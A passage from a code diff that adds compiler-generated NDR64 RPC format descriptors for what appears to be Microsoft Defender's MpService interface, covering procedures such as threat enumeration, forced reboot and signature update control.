(NDR64_UINT16) 0 /* 0x0 */, + 1 + }, /* [out], Basetype, SimpleRef, UseCache */ + (NDR64_UINT16) 0 /* 0x0 */, + 32 /* 0x20 */, /* Stack offset */ + }, + { + /* long */ /* parameter long */ + &__midl_frag2368, + { + /* long */ + 0, + 0, + 0, + 0, + 1, + 1, + 1, + 1, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* [out], IsReturn, Basetype, ByValue */ + (NDR64_UINT16) 0 /* 0x0 */, + 40 /* 0x28 */, /* Stack offset */ + } +}; + +static const __midl_frag813_t __midl_frag813 = +{ +/* Proc84_MpService__CMpMapsLatencyDataIterator__Clone */ + { + /* Proc84_MpService__CMpMapsLatencyDataIterator__Clone */ /* procedure Proc84_MpService__CMpMapsLatencyDataIterator__Clone */ + (NDR64_UINT32) 17301568 /* 0x1080040 */, /* explicit handle */ /* IsIntrepreted, HasReturn, HasExtensions */ + (NDR64_UINT32) 24 /* 0x18 */ , /* Stack size */ + (NDR64_UINT32) 0 /* 0x0 */, + (NDR64_UINT32) 40 /* 0x28 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT16) 2 /* 0x2 */, + (NDR64_UINT16) 8 /* 0x8 */ + }, + { + /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */ + { + /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */ + 0x72, /* FC64_BIND_PRIMITIVE */ + (NDR64_UINT8) 0 /* 0x0 */, + 0 /* 0x0 */, /* Stack offset */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT8) 0 /* 0x0 */ + }, + (NDR64_UINT16) 0 /* 0x0 */ /* Notify index */ + }, + { + /* arg_1 */ /* parameter arg_1 */ + &__midl_frag2367, + { + /* arg_1 */ + 0, + 0, + 0, + 0, + 1, + 0, + 1, + 0, + 1, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 1 + }, /* [out], Basetype, SimpleRef, UseCache */ + (NDR64_UINT16) 0 /* 0x0 */, + 8 /* 0x8 */, /* Stack offset */ + }, + { + /* long */ /* parameter long */ + &__midl_frag2368, + { + /* long */ + 0, + 0, + 0, + 0, + 1, + 1, + 1, + 1, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* [out], IsReturn, Basetype, ByValue */ + (NDR64_UINT16) 0 /* 0x0 */, + 16 /* 0x10 */, /* Stack offset */ + } +}; + +static const __midl_frag808_t __midl_frag808 = +{ +/* Proc83_ServerMpRpcForcedReboot */ + { + /* Proc83_ServerMpRpcForcedReboot */ /* procedure Proc83_ServerMpRpcForcedReboot */ + (NDR64_UINT32) 17301568 /* 0x1080040 */, /* explicit handle */ /* IsIntrepreted, HasReturn, HasExtensions */ + (NDR64_UINT32) 32 /* 0x20 */ , /* Stack size */ + (NDR64_UINT32) 8 /* 0x8 */, + (NDR64_UINT32) 40 /* 0x28 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT16) 3 /* 0x3 */, + (NDR64_UINT16) 8 /* 0x8 */ + }, + { + /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */ + { + /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */ + 0x72, /* FC64_BIND_PRIMITIVE */ + (NDR64_UINT8) 0 /* 0x0 */, + 0 /* 0x0 */, /* Stack offset */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT8) 0 /* 0x0 */ + }, + (NDR64_UINT16) 0 /* 0x0 */ /* Notify index */ + }, + { + /* arg_1 */ /* parameter arg_1 */ + &__midl_frag2368, + { + /* arg_1 */ + 0, + 0, + 0, + 1, + 0, + 0, + 1, + 1, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* [in], Basetype, ByValue */ + (NDR64_UINT16) 0 /* 0x0 */, + 8 /* 0x8 */, /* Stack offset */ + }, + { + /* arg_2 */ /* parameter arg_2 */ + &__midl_frag2367, + { + /* arg_2 */ + 0, + 0, + 0, + 0, + 1, + 0, + 1, + 0, + 1, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 1 + }, /* [out], Basetype, SimpleRef, UseCache */ + (NDR64_UINT16) 0 /* 0x0 */, + 16 /* 0x10 */, /* Stack offset */ + }, + { + /* long */ /* parameter long */ + &__midl_frag2368, + { + /* long */ + 0, + 0, + 0, + 0, + 1, + 1, + 1, + 1, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* [out], IsReturn, Basetype, ByValue */ + (NDR64_UINT16) 0 /* 0x0 */, + 24 /* 0x18 */, /* Stack offset */ + } +}; + +static const __midl_frag790_t __midl_frag790 = +{ +/* Proc80_ServerMpRpcThreatEnumerate */ + { + /* Proc80_ServerMpRpcThreatEnumerate */ /* procedure Proc80_ServerMpRpcThreatEnumerate */ + (NDR64_UINT32) 21626944 /* 0x14a0040 */, /* explicit handle */ /* IsIntrepreted, ServerMustSize, HasReturn, ClientCorrelation, HasExtensions */ + (NDR64_UINT32) 32 /* 0x20 */ , /* Stack size */ + (NDR64_UINT32) 36 /* 0x24 */, + (NDR64_UINT32) 40 /* 0x28 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT16) 4 /* 0x4 */, + (NDR64_UINT16) 8 /* 0x8 */ + }, + { + /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */ + { + /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */ + 0x70, /* FC64_BIND_CONTEXT */ + (NDR64_UINT8) 64 /* 0x40 */, + 0 /* 0x0 */, /* Stack offset */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT8) 0 /* 0x0 */ + }, + (NDR64_UINT16) 0 /* 0x0 */ /* Notify index */ + }, + { + /* arg_0 */ /* parameter arg_0 */ + &__midl_frag2346, + { + /* arg_0 */ + 0, + 0, + 0, + 1, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* [in] */ + (NDR64_UINT16) 0 /* 0x0 */, + 0 /* 0x0 */, /* Stack offset */ + }, + { + /* arg_1 */ /* parameter arg_1 */ + &__midl_frag1035, + { + /* arg_1 */ + 1, + 1, + 0, + 0, + 1, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 1 + }, /* MustSize, MustFree, [out], UseCache */ + (NDR64_UINT16) 0 /* 0x0 */, + 8 /* 0x8 */, /* Stack offset */ + }, + { + /* arg_2 */ /* parameter arg_2 */ + &__midl_frag2367, + { + /* arg_2 */ + 0, + 0, + 0, + 0, + 1, + 0, + 1, + 0, + 1, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 1 + }, /* [out], Basetype, SimpleRef, UseCache */ + (NDR64_UINT16) 0 /* 0x0 */, + 16 /* 0x10 */, /* Stack offset */ + }, + { + /* long */ /* parameter long */ + &__midl_frag2368, + { + /* long */ + 0, + 0, + 0, + 0, + 1, + 1, + 1, + 1, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* [out], IsReturn, Basetype, ByValue */ + (NDR64_UINT16) 0 /* 0x0 */, + 24 /* 0x18 */, /* Stack offset */ + } +}; + +static const __midl_frag781_t __midl_frag781 = +{ +/* Proc79_ServerMpRpcThreatOpen */ + { + /* Proc79_ServerMpRpcThreatOpen */ /* procedure Proc79_ServerMpRpcThreatOpen */ + (NDR64_UINT32) 524355 /* 0x80043 */, /* auto handle */ /* IsIntrepreted, HasReturn */ + (NDR64_UINT32) 48 /* 0x30 */ , /* Stack size */ + (NDR64_UINT32) 24 /* 0x18 */, + (NDR64_UINT32) 100 /* 0x64 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT16) 6 /* 0x6 */, + (NDR64_UINT16) 0 /* 0x0 */ + }, + { + /* arg_1 */ /* parameter arg_1 */ + &__midl_frag2368, + { + /* arg_1 */ + 0, + 0, + 0, + 1, + 0, + 0, + 1, + 1, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* [in], Basetype, ByValue */ + (NDR64_UINT16) 0 /* 0x0 */, + 0 /* 0x0 */, /* Stack offset */ + }, + { + /* arg_2 */ /* parameter arg_2 */ + &__midl_frag2368, + { + /* arg_2 */ + 0, + 0, + 0, + 1, + 0, + 0, + 1, + 1, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* [in], Basetype, ByValue */ + (NDR64_UINT16) 0 /* 0x0 */, + 8 /* 0x8 */, /* Stack offset */ + }, + { + /* arg_3 */ /* parameter arg_3 */ + &__midl_frag2368, + { + /* arg_3 */ + 0, + 0, + 0, + 1, + 0, + 0, + 1, + 1, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* [in], Basetype, ByValue */ + (NDR64_UINT16) 0 /* 0x0 */, + 16 /* 0x10 */, /* Stack offset */ + }, + { + /* arg_4 */ /* parameter arg_4 */ + &__midl_frag1288, + { + /* arg_4 */ + 0, + 0, + 0, + 0, + 1, + 0, + 0, + 0, + 1, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* [out], SimpleRef */ + (NDR64_UINT16) 0 /* 0x0 */, + 24 /* 0x18 */, /* Stack offset */ + }, + { + /* arg_5 */ /* parameter arg_5 */ + &__midl_frag2367, + { + /* arg_5 */ + 0, + 0, + 0, + 0, + 1, + 0, + 1, + 0, + 1, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 1 + }, /* [out], Basetype, SimpleRef, UseCache */ + (NDR64_UINT16) 0 /* 0x0 */, + 32 /* 0x20 */, /* Stack offset */ + }, + { + /* long */ /* parameter long */ + &__midl_frag2368, + { + /* long */ + 0, + 0, + 0, + 0, + 1, + 1, + 1, + 1, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* [out], IsReturn, Basetype, ByValue */ + (NDR64_UINT16) 0 /* 0x0 */, + 40 /* 0x28 */, /* Stack offset */ + } +}; + +static const __midl_frag770_t __midl_frag770 = +{ +/* Proc77_ServerMpRpcNotifyIdle */ + { + /* Proc77_ServerMpRpcNotifyIdle */ /* procedure Proc77_ServerMpRpcNotifyIdle */ + (NDR64_UINT32) 17301568 /* 0x1080040 */, /* explicit handle */ /* IsIntrepreted, HasReturn, HasExtensions */ + (NDR64_UINT32) 32 /* 0x20 */ , /* Stack size */ + (NDR64_UINT32) 44 /* 0x2c */, + (NDR64_UINT32) 40 /* 0x28 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT16) 4 /* 0x4 */, + (NDR64_UINT16) 8 /* 0x8 */ + }, + { + /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */ + { + /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */ + 0x70, /* FC64_BIND_CONTEXT */ + (NDR64_UINT8) 64 /* 0x40 */, + 0 /* 0x0 */, /* Stack offset */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT8) 0 /* 0x0 */ + }, + (NDR64_UINT16) 0 /* 0x0 */ /* Notify index */ + }, + { + /* arg_0 */ /* parameter arg_0 */ + &__midl_frag2346, + { + /* arg_0 */ + 0, + 0, + 0, + 1, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* [in] */ + (NDR64_UINT16) 0 /* 0x0 */, + 0 /* 0x0 */, /* Stack offset */ + }, + { + /* arg_1 */ /* parameter arg_1 */ + &__midl_frag2368, + { + /* arg_1 */ + 0, + 0, + 0, + 1, + 0, + 0, + 1, + 1, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* [in], Basetype, ByValue */ + (NDR64_UINT16) 0 /* 0x0 */, + 8 /* 0x8 */, /* Stack offset */ + }, + { + /* arg_2 */ /* parameter arg_2 */ + &__midl_frag2367, + { + /* arg_2 */ + 0, + 0, + 0, + 0, + 1, + 0, + 1, + 0, + 1, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 1 + }, /* [out], Basetype, SimpleRef, UseCache */ + (NDR64_UINT16) 0 /* 0x0 */, + 16 /* 0x10 */, /* Stack offset */ + }, + { + /* long */ /* parameter long */ + &__midl_frag2368, + { + /* long */ + 0, + 0, + 0, + 0, + 1, + 1, + 1, + 1, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* [out], IsReturn, Basetype, ByValue */ + (NDR64_UINT16) 0 /* 0x0 */, + 24 /* 0x18 */, /* Stack offset */ + } +}; + +static const __midl_frag756_t __midl_frag756 = +{ +/* Proc75_ServerMpRpcIdleNotificationOpen */ + { + /* Proc75_ServerMpRpcIdleNotificationOpen */ /* procedure Proc75_ServerMpRpcIdleNotificationOpen */ + (NDR64_UINT32) 786499 /* 0xc0043 */, /* auto handle */ /* IsIntrepreted, ClientMustSize, HasReturn */ + (NDR64_UINT32) 32 /* 0x20 */ , /* Stack size */ + (NDR64_UINT32) 0 /* 0x0 */, + (NDR64_UINT32) 100 /* 0x64 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT16) 4 /* 0x4 */, + (NDR64_UINT16) 0 /* 0x0 */ + }, + { + /* arg_1 */ /* parameter arg_1 */ + &__midl_frag2364, + { + /* arg_1 */ + 1, + 1, + 0, + 1, + 0, + 0, + 0, + 0, + 1, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* MustSize, MustFree, [in], SimpleRef */ + (NDR64_UINT16) 0 /* 0x0 */, + 0 /* 0x0 */, /* Stack offset */ + }, + { + /* arg_2 */ /* parameter arg_2 */ + &__midl_frag1288, + { + /* arg_2 */ + 0, + 0, + 0, + 0, + 1, + 0, + 0, + 0, + 1, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* [out], SimpleRef */ + (NDR64_UINT16) 0 /* 0x0 */, + 8 /* 0x8 */, /* Stack offset */ + }, + { + /* arg_3 */ /* parameter arg_3 */ + &__midl_frag2367, + { + /* arg_3 */ + 0, + 0, + 0, + 0, + 1, + 0, + 1, + 0, + 1, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 1 + }, /* [out], Basetype, SimpleRef, UseCache */ + (NDR64_UINT16) 0 /* 0x0 */, + 16 /* 0x10 */, /* Stack offset */ + }, + { + /* long */ /* parameter long */ + &__midl_frag2368, + { + /* long */ + 0, + 0, + 0, + 0, + 1, + 1, + 1, + 1, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* [out], IsReturn, Basetype, ByValue */ + (NDR64_UINT16) 0 /* 0x0 */, + 24 /* 0x18 */, /* Stack offset */ + } +}; + +static const __midl_frag752_t __midl_frag752 = +{ +/* *Struct_1978_t */ + 0x20, /* FC64_RP */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + &__midl_frag714 +}; + +static const __midl_frag751_t __midl_frag751 = +{ +/* Proc74_ServerMpRpcSigUpdControl */ + { + /* Proc74_ServerMpRpcSigUpdControl */ /* procedure Proc74_ServerMpRpcSigUpdControl */ + (NDR64_UINT32) 17301568 /* 0x1080040 */, /* explicit handle */ /* IsIntrepreted, HasReturn, HasExtensions */ + (NDR64_UINT32) 32 /* 0x20 */ , /* Stack size */ + (NDR64_UINT32) 48 /* 0x30 */, + (NDR64_UINT32) 40 /* 0x28 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT16) 3 /* 0x3 */, + (NDR64_UINT16) 8 /* 0x8 */ + }, + { + /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */ + { + /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */ + 0x72, /* FC64_BIND_PRIMITIVE */ + (NDR64_UINT8) 0 /* 0x0 */, + 0 /* 0x0 */, /* Stack offset */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT8) 0 /* 0x0 */ + }, + (NDR64_UINT16) 0 /* 0x0 */ /* Notify index */ + }, + { + /* arg_1 */ /* parameter arg_1 */ + &__midl_frag714, + { + /* arg_1 */ + 0, + 1, + 0, + 1, + 0, + 0, + 0, + 0, + 1, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* MustFree, [in], SimpleRef */ + (NDR64_UINT16) 0 /* 0x0 */, + 8 /* 0x8 */, /* Stack offset */ + }, + { + /* arg_2 */ /* parameter arg_2 */ + &__midl_frag2367, + { + /* arg_2 */ + 0, + 0, + 0, + 0, + 1, + 0, + 1, + 0, + 1, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 1 + }, /* [out], Basetype, SimpleRef, UseCache */ + (NDR64_UINT16) 0 /* 0x0 */, + 16 /* 0x10 */, /* Stack offset */ + }, + { + /* long */ /* parameter long */ + &__midl_frag2368, + { + /* long */ + 0, + 0, + 0, + 0, + 1, + 1, + 1, + 1, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* [out], IsReturn, Basetype, ByValue */ + (NDR64_UINT16) 0 /* 0x0 */, + 24 /* 0x18 */, /* Stack offset */ + } +}; + +static const __midl_frag730_t __midl_frag730 = +{ +/* Proc71_ServerMpRpcSigUpdClientOpen */ + { + /* Proc71_ServerMpRpcSigUpdClientOpen */ /* procedure Proc71_ServerMpRpcSigUpdClientOpen */ + (NDR64_UINT32) 524355 /* 0x80043 */, /* auto handle */ /* IsIntrepreted, HasReturn */ + (NDR64_UINT32) 40 /* 0x28 */ , /* Stack size */ + (NDR64_UINT32) 8 /* 0x8 */, + (NDR64_UINT32) 172 /* 0xac */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT16) 5 /* 0x5 */, + (NDR64_UINT16) 0 /* 0x0 */ + }, + { + /* arg_1 */ /* parameter arg_1 */ + &__midl_frag2368, + { + /* arg_1 */ + 0, + 0, + 0, + 1, + 0, + 0, + 1, + 1, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* [in], Basetype, ByValue */ + (NDR64_UINT16) 0 /* 0x0 */, + 0 /* 0x0 */, /* Stack offset */ + }, + { + /* arg_2 */ /* parameter arg_2 */ + &__midl_frag36, + { + /* arg_2 */ + 0, + 1, + 0, + 0, + 1, + 0, + 0, + 0, + 1, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 1 + }, /* MustFree, [out], SimpleRef, UseCache */ + (NDR64_UINT16) 0 /* 0x0 */, + 8 /* 0x8 */, /* Stack offset */ + }, + { + /* arg_3 */ /* parameter arg_3 */ + &__midl_frag1288, + { + /* arg_3 */ + 0, + 0, + 0, + 0, + 1, + 0, + 0, + 0, + 1, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* [out], SimpleRef */ + (NDR64_UINT16) 0 /* 0x0 */, + 16 /* 0x10 */, /* Stack offset */ + }, + { + /* arg_4 */ /* parameter arg_4 */ + &__midl_frag2367, + { + /* arg_4 */ + 0, + 0, + 0, + 0, + 1, + 0, + 1, + 0, + 1, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 1 + }, /* [out], Basetype, SimpleRef, UseCache */ + (NDR64_UINT16) 0 /* 0x0 */, + 24 /* 0x18 */, /* Stack offset */ + }, + { + /* long */ /* parameter long */ + &__midl_frag2368, + { + /* long */ + 0, + 0, + 0, + 0, + 1, + 1, + 1, + 1, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* [out], IsReturn, Basetype, ByValue */ + (NDR64_UINT16) 0 /* 0x0 */, + 32 /* 0x20 */, /* Stack offset */ + } +}; + +static const __midl_frag718_t __midl_frag718 = +{ +/* Proc69_ServerMpRpcSigUpdServiceSendProgressNotification */ + { + /* Proc69_ServerMpRpcSigUpdServiceSendProgressNotification */ /* procedure Proc69_ServerMpRpcSigUpdServiceSendProgressNotification */ + (NDR64_UINT32) 19660864 /* 0x12c0040 */, /* explicit handle */ /* IsIntrepreted, ClientMustSize, HasReturn, ServerCorrelation, HasExtensions */ + (NDR64_UINT32) 32 /* 0x20 */ , /* Stack size */ + (NDR64_UINT32) 36 /* 0x24 */, + (NDR64_UINT32) 40 /* 0x28 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT16) 4 /* 0x4 */, + (NDR64_UINT16) 8 /* 0x8 */ + }, + { + /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */ + { + /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */ + 0x70, /* FC64_BIND_CONTEXT */ + (NDR64_UINT8) 64 /* 0x40 */, + 0 /* 0x0 */, /* Stack offset */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT8) 0 /* 0x0 */ + }, + (NDR64_UINT16) 0 /* 0x0 */ /* Notify index */ + }, + { + /* arg_0 */ /* parameter arg_0 */ + &__midl_frag2346, + { + /* arg_0 */ + 0, + 0, + 0, + 1, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* [in] */ + (NDR64_UINT16) 0 /* 0x0 */, + 0 /* 0x0 */, /* Stack offset */ + }, + { + /* arg_1 */ /* parameter arg_1 */ + &__midl_frag52, + { + /* arg_1 */ + 1, + 1, + 0, + 1, + 0, + 0, + 0, + 0, + 1, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* MustSize, MustFree, [in], SimpleRef */ + (NDR64_UINT16) 0 /* 0x0 */, + 8 /* 0x8 */, /* Stack offset */ + }, + { + /* arg_2 */ /* parameter arg_2 */ + &__midl_frag2367, + { + /* arg_2 */ + 0, + 0, + 0, + 0, + 1, + 0, + 1, + 0, + 1, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 1 + }, /* [out], Basetype, SimpleRef, UseCache */ + (NDR64_UINT16) 0 /* 0x0 */, + 16 /* 0x10 */, /* Stack offset */ + }, + { + /* long */ /* parameter long */ + &__midl_frag2368, + { + /* long */ + 0, + 0, + 0, + 0, + 1, + 1, + 1, + 1, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* [out], IsReturn, Basetype, ByValue */ + (NDR64_UINT16) 0 /* 0x0 */, + 24 /* 0x18 */, /* Stack offset */ + } +}; + +static const __midl_frag714_t __midl_frag714 = +{ +/* Struct_1978_t */ + { + /* Struct_1978_t */ + 0x30, /* FC64_STRUCT */ + (NDR64_UINT8) 3 /* 0x3 */, + { + /* Struct_1978_t */ + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0 + }, + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT32) 8 /* 0x8 */ + } +}; + +static const __midl_frag713_t __midl_frag713 = +{ +/* *Struct_1978_t */ + 0x21, /* FC64_UP */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + &__midl_frag714 +}; + +static const __midl_frag712_t __midl_frag712 = +{ +/* **Struct_1978_t */ + 0x20, /* FC64_RP */ + (NDR64_UINT8) 20 /* 0x14 */, + (NDR64_UINT16) 0 /* 0x0 */, + &__midl_frag713 +}; + +static const __midl_frag710_t __midl_frag710 = +{ +/* Proc68_ServerMpRpcSigUpdServiceQueryNotification */ + { + /* Proc68_ServerMpRpcSigUpdServiceQueryNotification */ /* procedure Proc68_ServerMpRpcSigUpdServiceQueryNotification */ + (NDR64_UINT32) 17301568 /* 0x1080040 */, /* explicit handle */ /* IsIntrepreted, HasReturn, HasExtensions */ + (NDR64_UINT32) 32 /* 0x20 */ , /* Stack size */ + (NDR64_UINT32) 36 /* 0x24 */, + (NDR64_UINT32) 112 /* 0x70 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT16) 4 /* 0x4 */, + (NDR64_UINT16) 8 /* 0x8 */ + }, + { + /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */ + { + /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */ + 0x70, /* FC64_BIND_CONTEXT */ + (NDR64_UINT8) 64 /* 0x40 */, + 0 /* 0x0 */, /* Stack offset */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT8) 0 /* 0x0 */ + }, + (NDR64_UINT16) 0 /* 0x0 */ /* Notify index */ + }, + { + /* arg_0 */ /* parameter arg_0 */ + &__midl_frag2346, + { + /* arg_0 */ + 0, + 0, + 0, + 1, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* [in] */ + (NDR64_UINT16) 0 /* 0x0 */, + 0 /* 0x0 */, /* Stack offset */ + }, + { + /* arg_1 */ /* parameter arg_1 */ + &__midl_frag712, + { + /* arg_1 */ + 0, + 1, + 0, + 0, + 1, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 1 + }, /* MustFree, [out], UseCache */ + (NDR64_UINT16) 0 /* 0x0 */, + 8 /* 0x8 */, /* Stack offset */ + }, + { + /* arg_2 */ /* parameter arg_2 */ + &__midl_frag2367, + { + /* arg_2 */ + 0, + 0, + 0, + 0, + 1, + 0, + 1, + 0, + 1, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 1 + }, /* [out], Basetype, SimpleRef, UseCache */ + (NDR64_UINT16) 0 /* 0x0 */, + 16 /* 0x10 */, /* Stack offset */ + }, + { + /* long */ /* parameter long */ + &__midl_frag2368, + { + /* long */ + 0, + 0, + 0, + 0, + 1, + 1, + 1, + 1, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* [out], IsReturn, Basetype, ByValue */ + (NDR64_UINT16) 0 /* 0x0 */, + 24 /* 0x18 */, /* Stack offset */ + } +}; + +static const __midl_frag692_t __midl_frag692 = +{ +/* Struct_1920_t */ + { + /* Struct_1920_t */ + 0x30, /* FC64_STRUCT */ + (NDR64_UINT8) 3 /* 0x3 */, + { + /* Struct_1920_t */ + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0 + }, + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT32) 96 /* 0x60 */ + } +}; + +static const __midl_frag691_t __midl_frag691 = +{ +/* *Struct_1920_t */ + 0x20, /* FC64_RP */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + &__midl_frag692 +}; + +static const __midl_frag689_t __midl_frag689 = +{ +/* Proc65_ServerMpRpcSpynetUpdateSpynetMetrics */ + { + /* Proc65_ServerMpRpcSpynetUpdateSpynetMetrics */ /* procedure Proc65_ServerMpRpcSpynetUpdateSpynetMetrics */ + (NDR64_UINT32) 17301568 /* 0x1080040 */, /* explicit handle */ /* IsIntrepreted, HasReturn, HasExtensions */ + (NDR64_UINT32) 40 /* 0x28 */ , /* Stack size */ + (NDR64_UINT32) 196 /* 0xc4 */, + (NDR64_UINT32) 40 /* 0x28 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT16) 5 /* 0x5 */, + (NDR64_UINT16) 8 /* 0x8 */ + }, + { + /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */ + { + /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */ + 0x70, /* FC64_BIND_CONTEXT */ + (NDR64_UINT8) 64 /* 0x40 */, + 0 /* 0x0 */, /* Stack offset */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT8) 0 /* 0x0 */ + }, + (NDR64_UINT16) 0 /* 0x0 */ /* Notify index */ + }, + { + /* arg_0 */ /* parameter arg_0 */ + &__midl_frag2346, + { + /* arg_0 */ + 0, + 0, + 0, + 1, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* [in] */ + (NDR64_UINT16) 0 /* 0x0 */, + 0 /* 0x0 */, /* Stack offset */ + }, + { + /* arg_1 */ /* parameter arg_1 */ + &__midl_frag692, + { + /* arg_1 */ + 0, + 1, + 0, + 1, + 0, + 0, + 0, + 0, + 1, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* MustFree, [in], SimpleRef */ + (NDR64_UINT16) 0 /* 0x0 */, + 8 /* 0x8 */, /* Stack offset */ + }, + { + /* arg_2 */ /* parameter arg_2 */ + &__midl_frag2368, + { + /* arg_2 */ + 0, + 0, + 0, + 1, + 0, + 0, + 1, + 1, + 0, + 0, + 0, + 0, + 0, 